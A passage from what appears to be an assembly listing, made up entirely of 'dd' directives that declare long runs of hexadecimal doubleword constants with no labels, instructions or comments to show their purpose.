6B1CE9EEh, 73FFF353h, 0B6970958h dd 0B0F5C46Fh, 7DEC4EECh, 7D6EB937h, 0EBE950C1h, 3323B000h dd 5125500Ch, 0E6279141h, 0A0DA62BDh, 3E924D52h, 47B1B7D6h dd 4A0FA3CBh, 725BF31Ch, 8DE3146Eh, 510D0E50h, 0AC00A832h dd 98DA20h, 0F8ED9249h, 0D59F2186h, 0EA4E8D33h, 1C5D9CF0h dd 777FACA2h, 5ED2E5D0h, 28CAB5D0h, 4FD990C6h, 18F1DB81h dd 9D1D79DAh, 24F8169Eh, 8A0F86AAh, 0A3B2D912h, 26D9937Ch dd 0FB996087h, 0EF39AB2h, 0B36C1C93h, 219FD385h, 5770E8AAh dd 846BD4A0h, 6980C69Dh, 0E79E30FEh, 0CBF0FE49h, 158753D0h dd 0E3EA28F8h, 2B565CC5h, 8EAB41EDh, 29B39A3Fh, 0D4A012DCh dd 14BBCA72h, 3EDD974h, 0AAED5849h, 99F3F960h, 0CC88BAB4h dd 0A2960A9Eh, 7EC67C40h, 9B7CC0B5h, 9F736F70h, 0AD9D6CEAh dd 2E4B0FB0h, 2EBDC5B3h, 8411B2ABh, 7A6F57FBh, 47FD0C79h dd 0BAB5A629h, 60613521h, 40A8B0D4h, 0B8470F1Bh, 0AB3EEC33h dd 17207E7Dh, 0E4761BBAh, 4ED6648Ch, 0D2E8CFB1h, 595FC183h dd 0BB810C8h, 63DD5ACBh, 3945FE7Dh, 0C80BD79Eh, 359AA59Ch dd 0C4023409h, 6216F1C6h, 1BAF1531h, 93F7F460h, 14E7A89Dh dd 0C2837C30h, 13597E54h, 856AA045h, 11E4C40Eh, 0ACA226Ch dd 2F63FB09h, 18B9BD0Fh, 7230E00h, 79C35CFEh, 9AA8365Eh dd 0C422B4C0h, 4B9D798Dh, 71D864A7h, 8CDEEEB4h, 49E3B55Fh dd 28658B70h, 0E18F2E18h, 801FAF9h, 0DF4ABB20h, 5E62D8FCh dd 21527D99h, 201923EAh, 22E54FFBh, 6A1F7A7Eh, 2EA8A387h dd 0BA224DDCh, 725DF5C8h, 0F212C1B2h, 9C737286h, 0BDF4F409h dd 173A8E1Eh, 0D2C699BEh, 3AB2F4A2h, 148AD752h, 33790E90h dd 47B22F05h, 8F496454h, 292FDB47h, 2A7D5F6Eh, 8DA43FE2h dd 1EF89822h, 91311E79h, 0D745355Bh, 0A88BE8FCh, 97093C9Ch dd 36D684E5h, 76273D0Ch, 0C74255C2h, 5B0428F4h, 0BEA2A2F7h dd 2B707E48h, 81BA56h, 0E4522D7Eh, 0A82904A3h, 32FF1AE3h dd 4C07C80Fh, 230F4319h, 0EDF64B3Eh, 85948676h, 0F06C7505h dd 3C73DE1Ah, 1D695900h, 0B8E3E354h, 2485AB6Ah, 6F4D7939h dd 2EDFF86Fh, 9A414803h, 18D5778Dh, 5D3809BFh, 9DE127FAh dd 0D1819FE8h, 8BCD498h dd 4AAC99D5h, 2089065Fh, 91C229E6h, 0DC6EC14Bh, 0A54B4874h dd 238B996Dh, 5172ED4Eh, 7DE08C5Ah, 50C0CDFBh, 0CB74D492h dd 0B374F9B1h, 38C9D949h, 0AF2EA17Bh, 0D63F0DA7h, 0C8CBD7A3h dd 0A1AB3736h, 0B424871Ch, 6EDBF4B0h, 7A6C2B0h, 5333A044h dd 1067934Bh, 6DCAE8FCh, 5CF738B0h, 1D7DFE97h, 0CEB685ABh dd 0EA20762Ah, 147BA8EEh, 0C7851A92h, 0D771D167h, 0D17AE81Ah dd 3A097EB1h, 3F89A3F0h, 0D127AA6h, 8B20C3FEh, 7452E3F0h dd 46C00FF2h, 32596A08h, 345AB441h, 97C1AAB0h, 0EE53803h dd 0F35F1CFBh, 6138362Fh, 0CED65B30h, 0FC482D9Dh, 0ADF31D79h dd 5E16799h, 0A3B4FD74h, 17152D5Fh, 0A7FC787h, 0EF1BCAD6h dd 0C7DF9F22h, 31C6869Fh, 766939AEh, 39C23403h, 0F5C447A0h dd 1B060451h, 6124E08Eh, 0FB54F96h, 8815408Eh, 49FA33A4h dd 463F3AAAh, 2618E7C4h, 95ED1683h, 0FDBFD9BCh, 9D4F24EFh dd 2B636D50h, 0AB5B6084h, 3818045h, 0FC4E303h, 50DCB4A6h dd 915682ACh, 900A14C1h, 0CAEFFF6Ah, 0FEE5F20Bh, 0BB3F8722h dd 9D77E8B2h, 0DA224EC3h, 62D705A0h, 0A3CCF8C4h, 44BD960Bh dd 2E6D877Eh, 2B98A6Ch, 836997A0h, 0E10293F6h, 7E4FCECDh dd 763180Eh, 27B6FB13h, 6BC9521Bh, 218A1994h, 6FCCE841h dd 0A50A3C6Dh, 9F4520F9h, 42CE1AE8h, 0B74BAA7h, 3EEEE0A4h dd 5CB7FF2Ah, 0AF28784Ah, 623A0894h, 9C0EE36h, 6B0D3AE3h dd 0F562932Ah, 9D9B03EAh, 646F7058h, 5AC9BC2Fh, 4CC370F1h dd 35A3992Eh, 0C54F8736h, 701684F1h, 9F93533Ch, 2905049Dh dd 5D6944A0h, 0B8DAB82Ch, 76151034h, 56ABA024h, 0D2200AF6h dd 5BCF6640h, 651902E5h, 0D445AE2Dh, 8F87CAC3h, 0A274A33Ah dd 5CFA1993h, 0D2203901h, 47B6DD0Dh, 23D7A131h, 0B8FDE201h dd 0EB49E3D7h, 3B882C7Eh, 0D789D211h, 0E0088B3Ch, 0D446203Bh dd 0E5473A4h, 31FCEDB2h, 51744748h, 14E638CEh, 225BE21Bh dd 75467D9Ch, 0E1BD03CFh, 9038C24Ah, 0CD853183h, 106CA381h dd 0DB49D8C4h, 45EBFF3h, 9F4D9626h, 7B24E05h, 660296D3h dd 0C9611B8Fh, 0FAEEBA3Eh, 63C734CDh, 1D01BB03h, 5331BABEh dd 99EB4930h, 0DABD0FA7h, 91EFC677h, 0A170D0E2h, 0B3A4D514h dd 0B76500CEh, 76412DF1h, 225040F0h, 0EAC6DC81h, 0EC4AF3B9h dd 0EF1D938Eh, 7A4A3D39h, 0F10E4858h, 0CDEF8A5h, 1D8F07BBh dd 61C7DEE3h, 160996FFh, 91C638D2h, 0C88FE1CEh, 0BFA939F2h dd 5CCFA638h, 10709A4h, 28F69ED7h, 4A577E8Eh, 9350CF2h dd 0E98C270h, 0A21CC968h, 6DD79C7h, 0D88F319Fh, 7D1E9DFDh dd 89B6B2FDh, 554B67ECh, 5A215A7Fh, 69FE82E6h, 2A659D1h dd 351A4918h, 44BEFC73h, 420DF0BDh, 1E69C27Eh, 240B9C18h dd 0D0BA5D68h, 62372C85h, 39B57BEDh, 4EDB22D9h, 5115D80Ch dd 4D4AC109h, 0D87389F3h, 69547BC2h, 71ACFF22h, 0FE39577Eh dd 5D43959h, 591B4BEFh, 18FE61EDh, 0EBEB05C0h, 551EC722h dd 0F2635072h, 4C34CB24h, 0AC68578Ch, 0D7D79046h, 983D33E8h dd 2DDA2A67h, 6D719DA6h, 0C74387A3h, 283C16F9h, 0C23FB503h dd 5D6F7BD9h, 0B21A5E06h, 5C8B2402h, 3FEFDB40h, 9D9664F7h dd 0FB499C80h, 28F5AABDh, 0CDAD0066h, 70461754h, 74516650h dd 0A7485CF3h, 0BD77E89Ch, 78B075CDh, 950D1502h, 801D806Eh dd 4CFB55EEh, 8C6C1FBEh, 282525FCh, 98B0E63Ah, 837469FFh dd 48E7A490h, 87D5A77Dh, 104D8365h, 5F30DA2Bh, 554D71BFh dd 8FDF2953h, 0CE7893B0h, 0F026A0C5h, 7238C95Fh, 3E55FCC8h dd 233D6677h, 7A01B812h, 3C5A9408h, 0A67BE1F5h, 0A60EFDB6h dd 97FF9E8Ah, 8A91003h, 0F11CE97h, 0E81E30FCh, 2ABDACE6h dd 46DAA8FCh, 7502A690h, 23ECFE22h, 519E5253h, 2922B4F7h dd 211C324h, 0EBDD4F65h, 5D8D53FCh, 0D68BEC3Ah, 0B01A60B6h dd 5012C9F7h, 0FEFD44F4h, 0BAAB13E9h, 81577B4Fh, 7A4961A7h dd 5C4D960Fh, 9A5CB62Eh, 0FDF8BCA2h, 36456DCDh, 4FBA4A67h dd 3AD8BB0h, 0BD243242h, 9CBF564Bh, 0EB050CA2h, 0C0428CE6h dd 559468F9h, 9CBB6CADh, 3EF54D1Ah, 2FC1D91Fh, 5CE7C474h dd 5450D07h, 19A3CC9Ah, 5BDCBEBFh, 8B763AE3h, 41284BB4h dd 9697F33Ch, 0D52A8B85h, 985B47D2h, 9204EC74h, 2EF5313Dh dd 2586E9D5h, 7D731C47h, 9377B8B3h, 0C34B07C0h, 0A86A6A8Ah dd 54BBB717h, 0B9E1830Ah, 1B010BEDh, 178ABBC6h, 9531FCA1h dd 0F34E8411h, 5BB73FA4h, 0C7EBEBDBh, 3BF0D29Eh, 62A88CEh dd 0AC8814Fh, 42FF10A4h, 0FC3CD4Fh, 9E859F45h, 9D5F0077h dd 67B93967h, 8777C9CCh, 2C758CBBh, 0E566F592h, 6706EB6Ch dd 58D103EDh, 5630FAB5h, 24D28354h, 0B761AFC2h, 0D3D58E90h dd 25040F98h, 0A3AF8484h, 0EC5C0887h, 0F72D20BBh, 5DDC9865h dd 0FD2FC7F6h, 7336A4CCh, 3DCF49A2h, 0A88E54F3h, 6967AFB5h dd 94C14234h, 0AB61B44Ah, 0C475374Ah, 0E6715EC6h, 7A0A6E70h dd 9FD92B1h, 0ECDB55B7h, 0FF1A95F3h, 22A871C2h, 0E77BC411h dd 3CB19C3Bh, 81B7D349h, 76F23525h, 4F84DC85h, 0D2ADFDCCh dd 499BE083h, 2BE6B90Dh, 7D6DC356h, 69EC0815h, 0AADF0B87h dd 0C4241CC5h, 0F641DEFFh, 0AC7807B6h, 1ACBD3FBh, 14BF3EC2h dd 0AE7ADE32h, 3611C443h, 0F82E1D09h, 0C1AD13CAh, 3893E48Fh dd 5FFD78A9h, 7FDBAAE3h, 0DD2652E9h, 59342CFAh, 665201E5h dd 97A61AD2h, 62B35B65h, 0B2F693C9h, 6268053Ah, 0FB9410CFh dd 4AD73E13h, 744293Ah, 2400044Dh, 0EB166D97h, 0BF4D9351h dd 994961A9h, 0BF39F3FAh, 0AD81B13h, 0E28D2D17h, 8E8C27A6h dd 0BE5780ACh, 0BC4F2744h, 0C23D42DEh, 44E07B7Eh, 0E09427A7h dd 1CC8DC00h, 0C036110Dh, 0CB5B2FEBh, 0EA507CAAh, 0A5C7DF40h dd 53407E82h, 33613FA7h, 0A98D463Dh, 694F5B85h, 8248B7FAh dd 0FF23885Dh, 31AA6413h, 0C87284FEh, 0C5CD7836h, 0CEAAE867h dd 0C2C611E1h, 20886E96h, 0F2F149D4h, 9E35A363h, 0D3632FD2h dd 1208E889h, 41AA5759h, 7B37E2BDh, 33DF23E7h, 2C948E99h dd 78F5EB42h, 0A0D620F1h, 13A3403Eh, 14E4D64Bh, 846BBB86h dd 17CAE655h, 220ADDEAh, 4C534557h, 0B65BABABh, 13E41B00h dd 97F48ADEh, 51602731h, 3925A75h, 837CC2FEh, 0D74A034Fh dd 14E46BFEh, 0EA4E3E3Ah, 0E95BA1F8h, 9D28E9ECh, 845BDE61h dd 0A2374F3Ah, 88E2BD9Dh, 8D8A38A4h, 0F4D41CBFh, 0F0521447h dd 49767426h, 18A4131Eh, 1B5A8722h, 0B336A671h, 5F22520Dh dd 427AD5CDh, 857DED5Eh, 0E6D3D82Bh, 0C603814Bh, 0C96181B0h dd 0B018F300h, 0A9A88573h, 0C943EE2h, 0E70B794Dh, 58B28DF2h dd 826A4369h, 3F26A80Ah, 3E503B78h, 2298AAA1h, 448C4ADCh dd 0F36EF1D7h, 1750F1A5h, 0E57F9FA6h, 843F4236h, 7A1A1B06h dd 0FBDA0D65h, 0BE8B0B63h, 16691E13h, 44CC38A0h, 4B52B68Fh dd 4264F0F1h, 0E956D0BBh, 0D69E6A0Ah, 0A04FE886h, 0D0308E12h dd 96036769h, 0D53D7EB9h, 9EEBE89Ch, 54E3357h, 7C587275h dd 6A41B665h, 1B328EF9h, 4176F09h, 3B84F87Fh, 49EEBF44h dd 0FFE92423h, 0B02A2155h, 9917702Dh, 7872B1ADh, 7B3EE006h dd 0EDAFA167h, 0D0C8C4C8h, 95565A62h, 6F965717h, 613025F4h dd 0B4851569h, 0A1A774C6h, 67CEC510h, 6D44FB08h, 0AF2340A7h dd 9E3EA5DDh, 0A7546A0Dh, 0AA9E46D3h, 56245D78h, 0F3DA9Bh dd 0BBF8DAC2h, 66AC5DB4h, 4F2086CFh, 0FB7B9ECAh, 4FCB6DAEh dd 0D6496F74h, 0D8D1BDB7h dd 87494121h, 0B32AF40Dh, 896BC7Ah, 0E1CB2F82h, 56D2D5F1h dd 0AACC622Eh, 0ED61C8B9h, 76C7B8FEh, 2885ED27h, 7B5645B5h dd 578EEA21h, 0B37FFA72h, 7C26DB1Eh, 7D0E47EBh, 7369ACD4h dd 831405C4h, 4B032462h, 116DADF1h, 7A65FADFh, 0CBC71A8Eh dd 10367A95h, 691D0CDCh, 4D53A612h, 1C3932CBh, 0EC3A1396h dd 3DC70642h, 2F4AEF1Ah, 0F4CB57ECh, 0FD08D8D5h, 0D404A750h dd 68ED3894h, 0E4EE98B2h, 0ED6F07E9h, 0D7036FC9h, 0DD829A3Dh dd 8FA9519Fh, 15367DFFh, 73100127h, 0FD3B3474h, 0D1FD2817h dd 20C2219Dh, 0A05C3559h, 7A54180Dh, 789B3E9h, 0EC583366h dd 751666A9h, 0B562435Eh, 0D4089A37h, 4EE16662h, 0D37FB739h dd 34A15039h, 0B0253C9Eh, 0F383A123h, 9E3402E6h, 2188868Ah dd 0AAE67DF0h, 0A9BEC384h, 198DBA4Eh, 0E0A493E1h, 0A4CF664h dd 9156D89Ah, 0CB336B4h, 0D80F3589h, 0BCE4F047h, 0F5276079h dd 2078C72Dh, 35619B64h, 782977BBh, 50A015C1h, 1D5D0FA0h dd 0CA24B107h, 89409DB6h, 0E3C772B3h, 4AF4BCFEh, 9C352A6h dd 7A14F7FEh, 2201E221h, 4F749C80h, 307317B5h, 4A2AB57Fh dd 0F95CD7C4h, 643D50B2h, 1EB8244Eh, 2D829135h, 0B617F27Eh dd 65406BAEh, 9DB36B1Fh, 721E1D63h, 0D5FDB2A8h, 921E04E1h dd 0D80EDEB3h, 14A4C1CFh, 601EFBB0h, 0E68C5B3Dh, 971BA1FEh dd 6127EC38h, 41CF63BBh, 4212B36Ch, 2B83B94Ch, 0F2DB43B6h dd 0FF9C00C0h, 0E00A6FDFh, 2F837BC0h, 80109396h, 7B642EE9h dd 0FEAB53BAh, 1D99C2EBh, 0C5E8E9F1h, 99A3BB54h, 0E93B5084h dd 4388C689h, 0D9301CE8h, 48FAC804h, 1A3C3230h, 0ECA1E075h dd 8B60F0A9h, 7EC016DAh, 6837F889h, 0AE5AAADDh, 30DCE2E8h dd 47AD32BEh, 233E5CE8h, 12D97E75h, 0E2BC2587h, 4BCAFFA7h dd 5990BE16h, 33530A4h, 4103ED08h, 146F2028h, 0C530BB06h dd 0F08A3A1Fh, 0C2BCE246h, 40E8BF1h, 2E676450h, 0DEA909DDh dd 0A158571Ah, 8AAFE02Ah, 64A1BCABh, 78AE3E7Eh, 6EAC9103h dd 8288AE46h, 20E50A07h, 3F4DEAD5h, 656CD4A6h, 3E562D8Ah dd 58508201h, 54E0BF99h, 94AFC0C7h, 71123621h, 21985BA8h dd 89AE55F3h, 0E31E7F28h, 2D89E47Dh, 0D7201533h, 4CB136B0h dd 629C20AFh, 0B47A6B83h, 5D1F4801h, 6D6364CFh, 0FC30689Fh dd 0CB02F7D8h, 0D52FBFADh, 1D25332Ah, 0A27CEB4Bh, 0EDBB02Bh dd 2B147A57h, 0C1FDF180h, 2CB9F410h, 8B4C3C4Dh, 9F82F75Eh dd 8664DA4Eh, 42263581h, 333578C5h, 2562A18Ch, 0F96FFE3Eh dd 77999EDAh, 707EF0CDh, 0E7482277h, 33BB774Ah, 39F757B9h dd 5672AC87h, 0AF66B594h, 0B525A7A4h, 0C237743h, 47EF3975h dd 42995B16h, 9DAE5FD8h, 6E63DC78h, 2738A23Dh, 0AF4833A2h dd 0B3E9D995h, 0C6BB5579h, 0D791D0FAh, 8DC82C6Ch, 7E18D127h dd 0FF3D9A00h, 49959A28h, 0A1C47176h, 0D6D0226Ch, 0D9FAB87Fh dd 3857D9E7h, 9E866609h, 67AEA6DCh, 0CE842820h, 0B6A3537Ah dd 2FDD79Eh, 435C1B85h, 8FF4F014h, 2675024Dh, 34656CB3h dd 0E4A3CEA3h, 789095h, 0DB4621EAh, 0BC1778E4h, 92817ACEh dd 0D62B56E6h, 95264F7Ch, 0D34B4CCFh, 78BFC0A4h, 0C7481AD1h dd 0D2C25870h, 0FE002C05h, 582A4AE0h, 22AD357Dh, 0CFAA5BE3h dd 0EEE4BB4Fh, 57860ADCh, 16ABCA18h, 0F4886BE4h, 0A3736A27h dd 8D4996F7h, 23ED9388h, 10533AC5h, 0E081A6F6h, 0B88C2A50h dd 4F29A409h, 1FD3CB77h, 71410B5Dh, 0A17E270Dh, 4B12C314h dd 355D8A50h, 29EA3F8Ch, 2002B18Eh, 486EB476h, 0D5337862h dd 221210Dh, 3A15BB40h, 0AF9EF3DBh, 2F92FDE8h, 0E3D688A3h dd 0BCAA4831h, 4C8A942h, 685946F2h, 12327B65h, 4922132Ch dd 97C42E58h, 0C1AF55BEh, 64C7EC9Eh, 0EFB75421h, 6918F27Dh dd 38CD2D81h, 824CAF30h, 1C6C03E4h, 328B2C18h, 484510C0h dd 0D794AB72h, 970D9372h, 459FD49Ah, 7683217Fh, 0D60EF2BAh dd 0B39376AAh, 7FB1FECCh, 0ADD6BEF5h, 1D24E22Dh, 0FBE8BBD2h dd 6A23A4DAh, 0C3E2EBBEh, 0E4B6DB88h, 639CB94Ah, 0F3F546ABh dd 0BD35942Fh, 0E1C92237h, 0DD3B5552h, 984E084Ch, 67E231CFh dd 3E11E741h, 0BB91E225h, 4699C905h, 6ABD880Ch, 0E69AC02Ah dd 0EF20E493h, 9379BC54h, 2268E150h, 9629AF18h, 13F864BEh dd 5F9F818Bh, 0DE45B617h, 3C113152h, 261BD7FEh, 7CB4017h dd 339AD4EFh, 82DE7089h, 80ECBD28h, 3E11EF84h, 6A3913BBh dd 851B7AEBh, 57AF4F66h, 0AF83B81Ah, 5FB7AD04h, 710535FCh dd 3CC9F7A4h, 0FCF5AF11h, 3B20B727h, 4B83E25h, 0EC7EBBABh dd 0F805735Ah, 0DCF447E8h, 0CF5FD34Eh, 0B89D4842h, 3F28ECE6h dd 0FB5C2955h, 1FB9C891h, 6FD844E5h, 0F6433665h, 0CD478C06h dd 0F7B5790Bh, 9237E45h, 51E22D1Bh, 0AC472547h, 0E494196Eh dd 5415D1DCh, 45B07455h, 41570A07h, 0E5FEF970h, 0C87F17A5h dd 0C48B31C6h, 84BB12D9h, 37587A58h, 0AE8FCFBEh, 6903ADE1h dd 0C9FA8F19h, 54CF6910h, 0C387CBA0h, 2DE762FAh, 3740397Bh dd 891E5975h, 9705BF93h, 0BE0DC23Ah, 0AFBE1FFAh, 35990F89h dd 414727DFh, 0C520065Ah, 2B9D64D3h, 9117EE81h, 577EBF55h dd 4726F60h, 0EA9F74F8h, 576BFEC8h, 0E90E0075h, 454A7970h dd 931C8011h, 6193A99Fh, 13B532EFh, 980E4586h, 0EB297C58h dd 0D6AC2E72h, 82C0AA24h, 0D2FC3C07h, 0A5613B05h, 0E9403A0Fh dd 0D36F8F0Dh, 0DD6FAE51h, 280D931Bh, 0C4589353h, 0B23C7EF4h dd 39032545h, 6ABB29D1h, 213EE59Fh, 36389A85h, 219C2D12h dd 0AAFF4C8Dh, 355561C6h, 0B93D6925h, 0A89AFF1Eh, 0D5EBB424h dd 0A1173203h, 928C530Dh, 0BF0252EFh, 0F126BD3h, 0AC1AC14Ch dd 7F692E98h, 2D3D3BADh, 747F9D55h, 714DCF1Bh, 798D3A3Dh dd 9F4A3C79h, 0FC6AFEB3h, 0D039CF74h, 0FE2DBAA7h, 4F337445h dd 0B4F9028Eh, 0F16A35B8h, 146BF1CAh, 744ADED8h, 83020121h dd 54F2B7CDh, 0FD0B04C4h, 0ED1EA6C8h, 97C2680Dh, 39DEA740h dd 128D0A88h, 0AB49CEEEh, 555A7538h, 26591CC1h, 189A0925h dd 0A9D37AB2h, 114B1F07h, 6DB476Ah, 82097367h, 2415B24Fh dd 0DB466FF4h, 0A8D38353h, 0E3FC11D3h, 0C6F50697h, 511CADDDh dd 7ED9E6A3h, 0FC691554h, 5BAD79E7h, 3E99EDA8h, 49CF6276h dd 0BF208F19h, 0A01625EAh, 64E2D946h, 370C1138h, 0F6CCD422h dd 60BBC21Dh, 0BBAC9402h, 0D5DF312Eh, 0C4705DD8h, 8FEE5F2Fh dd 0CA82A29Dh, 0D2FBC688h, 33823DD1h, 538C8DF3h, 0C6520946h dd 86E775F2h, 0D73071E8h, 18771185h, 0F677371Ah, 11B81F4Ch dd 93E4399Bh, 0D702375Ch, 0B68DA9CFh, 0B67556ADh, 93EF9FEAh dd 13D6D69Ah, 6BE225A1h, 9F628316h, 8D3C734Eh, 0ED21F415h dd 31BB6C8Eh, 3751AB20h, 2EB6AE2Dh, 0BE8060DEh, 0B8E29EA5h dd 658ED8Ah, 1BEFCE94h, 32C6AB9Ah, 0A4C371C0h, 7CD77D24h dd 58B66A74h, 7EE283DAh, 472172D5h, 0D6E002C8h, 7A966358h dd 752444FBh, 4EDEE0B9h, 0CB0DD9E1h, 834E64B6h, 0DEE0EED5h dd 0AAAA3B43h, 0E17F1B1Ah, 0EC4F834Bh, 11C62FD1h, 756C5797h dd 37E21A9h, 0C163BD80h, 0F5BC6310h, 277B6F61h, 58AFD163h dd 0D459277Bh, 0AE231C9Eh, 0CF50C838h, 0DCF084BDh, 0B930D72Ch dd 0E7905665h, 58B583F8h, 4F44D427h, 53B21A64h, 8E0D3903h dd 16659AFFh, 128DDF5Fh, 0DCE5BF10h, 3BF149BFh, 7B03747Eh dd 35100563h, 0DD4943F5h, 88CF0FECh, 9D455271h, 50A90B8Eh dd 0EE4655E3h, 5BD6D4AFh dd 4136B520h, 92E7AA2Fh, 19957310h, 0A81D6A7Ch, 1DDF07C8h dd 13E38304h, 6773987Ch, 0FF81E2C3h, 0C0671733h, 73F8AA48h dd 5A55627Eh, 0DA4750F5h, 35306C07h, 48D11A0Ch, 0BCA2CA8Bh dd 1AA3B848h, 0F6FEA984h, 0BD7E75A1h, 9CE293E3h, 52CFD5D1h dd 209307E3h, 37948F73h, 0F0513D0Eh, 37410558h, 81E9C2C0h dd 3E42203Ch, 4B2C1A7Fh, 87F3C4F0h, 66BD4474h, 0C0E12D47h dd 1D4D8D65h, 298CDCD4h, 2DF1CCD5h, 0DD63CECAh, 8645B4B8h dd 22B7E18Dh, 511FA68Bh, 2DB6C69Bh, 134346B7h, 0CC11AF21h dd 0E669102Fh, 0A7A6C8D9h, 0A1CD8ADh, 0C412247h, 42FE9869h dd 0CDF1723Bh, 816E7562h, 4A34B576h, 6F3DAB79h, 93072752h dd 0A73CB435h, 0BD4986A6h, 0FC843F10h, 887C57EBh, 9794FEB7h dd 377A2A9Fh, 0BCB0D46Fh, 0E90A4210h, 5BEABA47h, 37664B71h dd 3521B5EEh, 17BB8880h, 0BFCEADB0h, 82A782D0h, 75B98752h dd 2A2E8335h, 2761556Ch, 0DA25BEADh, 20F2BC77h, 82C89366h dd 0F7CEB23Bh, 0D01C6F02h, 679E6C69h, 9A7A6DD9h, 1DEA6B5h dd 2D3AEAB8h, 70745D77h, 0FDA575FDh, 729D676Bh, 0D88970DBh dd 0F7F6B416h, 9C9B0843h, 732619Bh, 6B04961Bh, 72DD69C6h dd 4AAEEEFh, 2CB8FC27h, 0F9BCA981h, 5BBD7AC7h, 422FB2E8h dd 8D33ADA9h, 6958E3DAh, 0AC093659h, 0B72F0673h, 25646DD0h dd 93B99864h, 4BB01547h, 79A75B4Ah, 0DB21F8A5h, 541BEA2Eh dd 0A9B622A7h, 0E322002Bh, 373106D6h, 7D3D97B0h, 5D80D1CBh dd 0CC927BE8h, 5240C58Bh, 0C408F842h, 1799B4E5h, 775C385Fh dd 0A8C33EF6h, 7FA6D188h, 0DF3AC3BAh, 58D2BB6Ah, 713095A1h dd 4C0A5886h, 0F2F08F72h, 6A997589h, 262B7D0Bh, 2FC3154h dd 3354F287h, 5607C793h, 0F9C8CFFAh, 5E2AD53Fh, 1C8DCBD8h dd 37896335h, 1F0E9507h, 34107983h, 79800F41h, 0DD6694A4h dd 6866FF0Dh, 0A71CE288h, 98CD8728h, 895A9679h, 0B26283CEh dd 0D2DE4133h, 85D8D0CCh, 8E1E31EDh, 5A7D85D6h, 3E3A04BCh dd 0DFD1BD89h, 0F413A001h, 0AF1137E5h, 0ABC9974Dh, 0CD9994F0h dd 23CFF6E9h, 0E65F2A3h, 0C352D38Ah, 8B42C659h, 0A4BCCCF9h dd 68CA5043h, 2CB8596Bh, 8219BDB9h, 5CC17200h, 0BB08C146h dd 0B64C4898h, 0D8A94A1Fh, 37B82A28h, 1F880C41h, 0B755A194h dd 6E8107F3h, 0F5924CFDh, 1A04AFEh, 76855AB7h, 70B071B0h dd 642EE327h, 0D8EBCF11h, 0D4CA8235h, 832D8D62h, 358085F2h dd 7AF77D4Eh, 4A6DACD1h, 0FA9A905Ch, 96BE2C0Bh, 34A62DE4h dd 0A71F5E8h, 4D746205h, 0C593FE5Ch, 8636EE12h, 664C95E8h dd 0FA08E217h, 2B99612Bh, 37D3F18Bh, 0EFA8AC1Bh, 6667C9BFh dd 4102709Ah, 808992C2h, 3408A6BFh, 86EAEE0Ah, 0F254616Bh dd 7436970Bh, 1140A221h, 76408D94h, 1A9745A3h, 68206859h dd 0DA13B7Bh, 0E745A339h, 0E4976AB3h, 0DE327826h, 8FE712CFh dd 9BC367AAh, 7B7E2ECDh, 81135618h, 9CA9195Bh, 8B0EA6BDh dd 371FC28Ah, 99DFF6A4h, 55D59A90h, 4D3390E6h, 707F2CECh dd 68032E88h, 8ADD0085h, 0C15E399Eh, 72047A93h, 8749AF25h dd 12E43C1Bh, 56FD64FEh, 6425AA0Dh, 5320F244h, 0A1FBD175h dd 0D8BA2ADCh, 0F9D23294h, 0E78AC916h, 418AC39Ch, 0A854FEB4h dd 0F94FD16Dh, 0D7107E4Fh, 11CAD934h, 2CB57C6h, 1B79917Dh dd 0BCD57007h, 0A6EE267Ch, 77E8E402h, 71832559h, 415725C4h dd 0B3196850h, 0F27768D8h, 3B8AE55Ch, 56AC0B25h, 86A57968h dd 91BE07B9h, 0A751696Dh, 0E51B6F7Ch, 77072BB1h, 0D49927B7h dd 79BD4E11h, 0C23BBDCBh, 0D99076FDh, 0B0A8AAFAh, 39A99B88h dd 0BF3917B2h, 510658E9h, 0D1622970h, 0D7D23EF2h, 0BC0B288Ah dd 0A49EBE36h, 8ED4617Ah, 0BC024861h, 0F3A783A7h, 0C7E96354h dd 0B7E6C3h, 2B4142B7h, 0C5AD3F39h, 4F9A0060h, 10A4DAF2h dd 3A7EE753h, 0B3E73976h, 16FB74BEh, 70A9EAC6h, 69AD9D1h dd 123187B4h, 0F4DF4640h, 7A8E8D26h, 3280FD08h, 0BF43BA3Ah dd 96263138h, 0BCCFE0FAh, 0B9024239h, 821BAB6Fh, 2D386FAFh dd 0AC303DADh, 9AD261D8h, 3F9AFB91h, 0F54C704Eh, 575CA531h dd 32561910h, 126BBEF1h, 40886080h, 56F2D2B4h, 5252B16Eh dd 0AF686A44h, 5B5D2281h, 0EBFF9241h, 8E4BC69Fh, 0D8CB7AEEh dd 0C94646D9h, 421A057Dh, 0B8125639h, 4FA76CF5h, 345D07A2h dd 0E92609B3h, 47BF6398h, 0F4632227h, 0A1094000h, 769A26DEh dd 0A75D144Bh, 92CA1DB1h, 76A1C396h, 0D4E13873h, 0C9C3F6E3h dd 362E7893h, 0CD9FDD95h, 792F5FD7h, 9FA1CE6Eh, 0C6309977h dd 0F03CA7D1h, 507EEB24h, 18903F97h, 54C168CFh, 0BB0E226Dh dd 6CF48EEFh, 73FF8D77h, 1F0878A0h, 8AC4AE0Fh, 0D79E6D21h dd 0C32329DFh, 257411E1h, 6211D6ACh, 0A0026502h, 4209BD60h dd 17D02D74h, 0BE5D7518h, 4B738B18h, 0B448CA30h, 0FFDDFAA7h dd 5F4270C0h, 8E00108Eh, 216473A8h, 0A57BC7h, 9922ED72h dd 2C5A3340h, 0C6850BA1h, 15B5917Fh, 1558E971h, 64940h dd 496CB0ABh, 6D7739C1h, 6C35F22h, 0F1FE12C3h, 7DEDAC25h dd 0CE597065h, 9E611535h, 0DF918C52h, 89A38830h, 0DA676E15h dd 7DBA9C85h, 0E78D1795h, 6D22C302h, 0ECD785Eh, 0D3697893h dd 4A445828h, 0D5386601h, 4E3A34B1h, 0ABE81410h, 7CDCBC71h dd 0A683719Dh, 68029979h, 346E838h, 2016EBB1h, 0D26DB57Ah dd 4D319A5Dh, 8B065C67h, 78ADA365h, 0D13AC3E5h, 57FBB3AEh dd 4D039F3Ah, 31B65547h, 8465A3BFh, 0B69DCC23h, 0DF883813h dd 0DB96E617h, 0B4A5D753h, 31A95B5Fh, 0E6394BDCh, 0F3D74B06h dd 0ACAD6B5Ch, 65A07F83h, 4AAD3998h, 785D5A76h, 666CD3C4h dd 8B6C46A5h, 95D8FE5Bh, 649C1A4Ch, 0C60C0737h, 6718452Ah dd 6FD2B7E7h, 2DD394BEh, 6F8C9622h, 8403DB33h, 0FFB6D1E7h dd 2283C0A0h, 5BD17419h, 0F522DF52h, 0E0E16D7Fh, 19F0B69Ah dd 0C9499BBAh, 11060AF3h, 1ECE6B8Dh, 3EDDCC1Ah, 314D093Fh dd 3D196459h, 3AFEAADDh, 0CEF8E783h, 0C536FA81h, 